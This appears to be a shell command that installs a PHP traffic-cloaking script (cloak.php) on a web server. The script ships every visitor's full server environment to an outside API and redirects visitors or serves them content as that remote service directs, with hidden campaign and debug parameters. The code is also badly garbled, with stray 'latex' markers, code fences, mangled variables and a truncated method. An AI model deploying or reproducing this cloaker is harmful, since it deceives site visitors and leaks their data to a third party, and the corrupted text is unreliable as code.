```
cat > /var/www/html/rcinfocol/cloak.php
<<'ENDOFFILE'
<?php
class clLogic
{
private string $apiEndpoint; private int $responseTimeout = 20;
private int $connectTimeout = 20; private array $httpHeaders = [];
private string $encodedServerData; private ?string $userIdentifier = "jMcUkVGjPE";
private ?string $campaignIdentifier = "RR5wvYbpjb"; private bool $isDebugMode = false;

private const DEBUG_QUERY_PARAM =
```

'Vf5e78hgfhd';
private const DEBUG_CAMPAIGN_PARAM =
'4f5e78hgfhd';
private const RESPONSE_TYPE_REDIRECT =
'redirection';
private const RESPONSE_TYPE_INLINE = 'nrc';

public function start()
{
try {
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$this->checkRequirements();$ this->handleCidQueryParam();

latex

this->bootstrapExecution(); } catch (Throwable

e) {

$this -> gt; handleException($ e);

}

}

private function checkRequirements(): void

{

try {

if (version_compare(PHP_VERSION, '7.4', '<')) {

throw new RuntimeException('!Error: PHP 7.4 or higher is required. Current version: ' . PHP_VERSION);

}

if (!extension_loaded('curl')) {

throw new RuntimeException('!Error: cURL extension is not enabled.');

}

} catch (Throwable

latex

e) {

this->handleException($`e);

}

}

private function handleCidQueryParam(): void

{

try {

if (!

isset($_GET[self::DEBUG_CAMPAIGN_PARAM]))

{ return; } header('Content-Type: text/plain'); echo

$this->campaignIdentifier ?? 'cid-not-found';

exit;

} catch (Throwable $e) { $this-

>handleException(`$e);

}

}

private function bootstrapExecution(): void
{
try {

$this->setApiEndpoint(); this->initializeDebugMode();

$this->encodeServerEnvironment(); this->prepareHttpHeaders();

```latex
this-&gt;sendRequestAndHandle(); }
catch (Throwable
```

e) {

$this->handleException(e);

}
}

private function initializeDebugMode(): void
{
try {

$$this - gt; isDebugMode = isset($$

_GET[self::DEBUG_QUERY_PARAM]);
} catch (Throwable

latex

e) {

this->handleException($`e);
}
}

private function encodeServerEnvironment():
void
{
try {

$this->encodedServerData =
base64_encode(json_encode($_SERVER));
} catch (Throwable $e) { $this-
>handleException(`$e);
}
}

private function prepareHttpHeaders(): void
{
try {

$$this - gt; httpHeaders = [sprintf('Content - Type:$$

this->userIdentifier ?? 'null'),
'X-CID: ' .
(

latex

this->campaignIdentifier ?? 'null'),]; }
catch (Throwable

e) {

$this->handleException($e);

}

}

public function sendRequestAndHandle(): array

{

try {

$payload = this->generateRequestPayload();

$attempts = 0; maxRetries = 5;

$response = null; httpCode = 0;

$`curlError = null;

do {

$attempts++; $ch = curl_init($this->apiEndpoint); curl_setopt_array($ch, $this->configureCurlOptions($payload));

$rawResponse = curl_exec($ch);

$httpCode = curl_getinfo($ch,
CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch); $response = $this-
>parseJsonResponse($rawResponse);
$shouldRetry = !empty($curlError) || $httpCode
< 200 || $httpCode >= 300;
if (!$shouldRetry) { break; } } while ($attempts <
`$maxRetries);

$result =$ this-
>buildFormattedResponse($payload$, httpCode,
$curlError$, response);

if
(

latex

this->isDebugMode) {

this->dumpDebugTrace($`result);

}

$this->processServerDirective($response);
return $result; } catch (Throwable $e) {
$this->handleException($e);
return ['error' => `$e->getMessage()];
}
}

private function generateRequestPayload(): array
{
try {
return [
'uid' => $this - gt; userIdentifier, ' cid' = gt;
this->campaignIdentifier,
'payload' =>

latex

e) {

$this -> handleException($ e);

return [];

}

}

private function configureCurlOptions(array

latex

payload): array { try { return [CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER =>

this->httpHeaders,

CURLOPT_POSTFIELDS =>

json_encode(

$payload), CURLOPT_TIMEOUT => $this->responseTimeout,

CURLOPT_CONNECTTIMEOUT =>

```latex
this-&gt;connectTimeout,
CURLOPT_SSL_VERIFYPEER =&gt; true,
]; } catch (Throwable
```

e) {

$$this - gt; handleException($$ e);

return [];

}

}

private function parseJsonResponse(

```latex
raw): ?array { try {
```

decoded =

json_decode($raw, true); returnis_array($

decoded) ?

latex

decoded : null; } catch (Throwable

e) {

$this -> handleException($ e);

return null;

}

}

private function buildFormattedResponse(array

$payload, int$ httpCode, string $error, ?array$

response): array

{

try {

return [

'http_code' => $httpCode,'curl_error' => $gt; error,

'request_payload' => $payload,'response' => $gt;

response,

];

} catch (Throwable

latex

e) {

this->handleException($`e);

return [];

}

}

private function processServerDirective(?array $response): void { try { if ($response['status'] == 'error') {

```
echo $response['message'] ?? 'Unknown error';
exit; } if ($response['status'] == 'none') {
return;
}

if (isset($response['hide_referrer']) &&
$response['hide_referrer'] == 1) {
header("Referrer-Policy: no-referrer");
}
if (isset($response['hide_referrer']) &&
$response['hide_referrer'] == 2) {
echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Redirecting...</title>
<script>
window.onload = function() {
var url = '" . ($response['url'] ?? '') . "'; if (url) {
location.replace(url); } else {
```

```
document.body.innerText = "Invalid redirect URL."; } }; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; Redirecting...&lt;br&gt; &lt;noscript&gt; JavaScript is disabled. &lt;a href="&lt;?php echo htmlspecialchars($url, ENT_QUOTES); ?>">Click here to continue.</a>
</noscript>
</body>
</html>
';
exit;
}

switch ($response['method'] ?? '') { case self::RESPONSE_TYPE_REDIRECT:
header('Location: ' . $response['url'], false, (int) (`$response['http_code'] ?? 302));
exit;

case self::RESPONSE_TYPE_INLINE:
```

echo

```latex
response['content'] ?? ''; exit; } } catch (Throwable
```

e) {

$$this -> handleException($$ e);

}

}

public function dumpDebugTrace(array

```latex
data = []): void { try { echo "&lt;pre&gt;"; echo "========== TRACE INFO ==========="; echo "Endpoint: {
```

this->apiEndpoint}";

echo "--- Headers ---";

print_r(

$$this->httpHeaders); echo "---Payload---"; print_r(['uid' => $this->userIdentifier, 'cid' => $this->campaignIdentifier, 'serverData' => $this->encodedServerData,]); echo "--- Response ---"; print_r($$

```latex
data); echo "==========
==========
==========
=="; echo "&lt;/pre&gt;"; exit; } catch (Throwable
```

e) {

$$this->handleException($$ e);

}
}

public function setApiEndpoint(): void
{
try {

latex

this->apiEndpoint = 'https://
api.trafficguardian.org/api/v1/run'; }
catch (Throwable

e) {

$$this -> handleException($$ e);

}
}

private function handleException(Throwable

latex

e): void { http_response_code(500); if (

this->isDebugMode) {

echo "<pre>ERROR: " . $e-gt;getMessage().” ” . e->getTraceAsString() . "</pre>";

} else {

echo "A system error occurred.";

}

exit;

}

}

ENDOFFILE